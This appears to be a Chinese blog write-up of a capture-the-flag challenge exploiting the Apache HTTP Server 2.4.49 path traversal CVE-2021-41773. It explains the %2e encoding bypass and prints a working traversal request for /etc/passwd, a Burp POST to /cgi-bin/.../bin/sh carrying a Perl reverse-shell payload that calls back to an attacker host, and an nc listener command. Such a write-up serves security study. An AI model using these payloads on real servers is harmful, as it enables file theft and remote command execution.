首页 > 其他分享 >CVE-2021-41773目录穿越漏洞复现并利用得到flag

CVE-2021-41773目录穿越漏洞复现并利用得到flag

时间:2024-10-08 17:50:31浏览次数:9  
标签:41773 zh 路径 .% Accept 2e flag CVE 2e%

前提概要
首先!遇到一道题目,根据题意可知:这道题目存在CVE-2021-41773漏洞。

先来了解一下CVE-2021-41773的漏洞原理:

漏洞原理

CVE-2021-41773 是一个影响 Apache HTTP Server (httpd) 的安全漏洞,影响版本为 2.4.49 版本。它是一个路径遍历漏洞,如果文档根目录以外的文件不受 require all denied 保护,则攻击者可以访问这些文件。

Apache Http Server 路径穿越漏洞原理

在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 的路径穿越符。

当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断其后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。

如果路径中存在 %2e./ 形式,程序就会检测到路径穿越符。然而,当出现 .%2e/ 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符。原因是遍历到第一个 . 字符时,程序检测到其后两字符为 %2 而不是 ./ ,就不会将其判断为 ../ 。因此,攻击者可以使用 .%2e/ 或 %2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。

一:漏洞验证
访问地址是一个登录页面,什么都没有。扫描一下目录,未发现什么目录。

 2;因为没有目录可访问,所以使用如下CURL命令来发送Payload的方式是不行。

curl -v --path-as-is http://8.147.132.32:18505/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
3;使用bp抓包复现:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Content-Length: 0

给我的返回的是400,不可行,应该是做了限制,另辟蹊径。

4;使用burpsuite,获取反弹shell
bash命令无法执行,要使用perl,注意要使用POST,网址也要改为下面的地址:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1

Host: 8.147.132.32:18505
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Content-Length: 229
Origin: moz-extension://79db308e-879e-471a-9c1f-6fb0f2d90f48
Sec-GPC: 1
Connection: close

echo;perl -e 'use Socket;$i="xxxx";$p=xxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

5;服务器开启监听。
nc -lvvp xxx。

6;监听成功。得到flag.

标签:41773,zh,路径,.%,Accept,2e,flag,CVE,2e%
From: https://www.cnblogs.com/yang-miemie/p/18452202

相关文章

  • ICMP timestamp请求响应漏洞CVE-1999-0524解决方法
    ICMPtimestamp请求响应漏洞CVE-1999-0524解决方法1、添加进和出的规则firewall-cmd--permanent--direct--add-ruleipv4filterINPUT0-pICMP--icmp-typetimestamp-request-mcomment--comment"denyICMPtimestamp"-jDROPfirewall-cmd--permanent--direct--ad......
  • atomic原子,自旋锁与atomic_flag
    1)原子类型原子操作默认采用的是memory_order_seq_cst内存顺序原子类型可以是无锁的,也可以有锁(c++17)通过静态函数std::atomic::is_always_lock_free判断(c++11)通过成员函数is_lock_free()判断2)有锁or无锁性能:无锁操作通常比有锁操作更快,因为它们不需要操作系统级别的同步......
  • 余大嘴立新flag 鸿蒙智行五年内成为中国高端车市场第一
    华为常务董事、终端BG董事长、智能汽车解决方案BU董事长余承东和马东今日开启一场直播活动,介绍了鸿蒙智行旗下问界M9、享界S9、智界R7等产品情况。当被问及鸿蒙智行五年内的目标是什么?余承东表示,至少五年内能够成为中国市场高端车第一,包括三十万以上、四十万以上、五十万......
  • CVEN9612 – Catchment Modelling
    CVEN9612–CatchmentModellingAssignment1Part1–Rainfall-RunoffModelingandRoutinghispartoftheassignmentisworth15%ofthetotalgradeforCVEN9612.TheassignmentanswersaretobesubmittedonlineinMoodleasashortreport.Assignment1......
  • disp_buffer_flags 枚举定义了一系列用于描述 framebuffer(帧缓冲区)特性的标志位
    disp_buffer_flags 枚举定义了一系列用于描述framebuffer(帧缓冲区)特性的标志位。这些标志位主要用于指示framebuffer的内容是如何组织的,特别是当涉及到立体视觉(3D显示)时。这些标志允许系统或应用程序知道如何正确地处理和显示framebuffer中的数据。下面是对每个标志位的具......
  • 【Vulfocus】struts2-cve_2017_9791漏洞复现
    一、漏洞介绍1.靶场地址:https://vulfocus.cn/2.漏洞名称:Struts2S2-048远程命令执行漏洞3.漏洞描述:Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。攻击者构造恶意字段......
  • go flag的常用设置
    packagemainimport("bytes""encoding/json""flag""fmt""io/ioutil""net/http""os")varZabbixTarget,ZabbixMessage,ZabbixType,PrometheusAlertUrlstringvarhelp......
  • CVEN9612 – Catchment Modelling
    CVEN9612– Catchment ModellingAssignment 1 Part 1– Rainfall-Runoff Modeling and RoutingThis part ofthe assignment is worth 15% ofthe total grade for CVEN9612. The assignment answersaretobesubmittedonlineinMoodle as a s......
  • 框架漏洞(5-rce s2-057 CVE-2017-8046 CVE-2018-1273 Shiro-550)
    5-rce步骤一:环境部署cdvulhub/thinkphp/5-rcedocker-composeup-d步骤二:输入系统命令: whoami/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami步骤三:写入webshell到1.php/index.php?s=index/think\ap......
  • execve
    目录glibcdemoglibcexecve()执行由pathname指定的程序。这会导致当前正在被调用进程运行的程序被一个新程序替换,且该新程序会重新初始化栈、堆,以及(已初始化和未初始化的)数据段。demoexecve(path,args,env):用execve()替换当前进程为ls命令。如果execve()执行成功,当......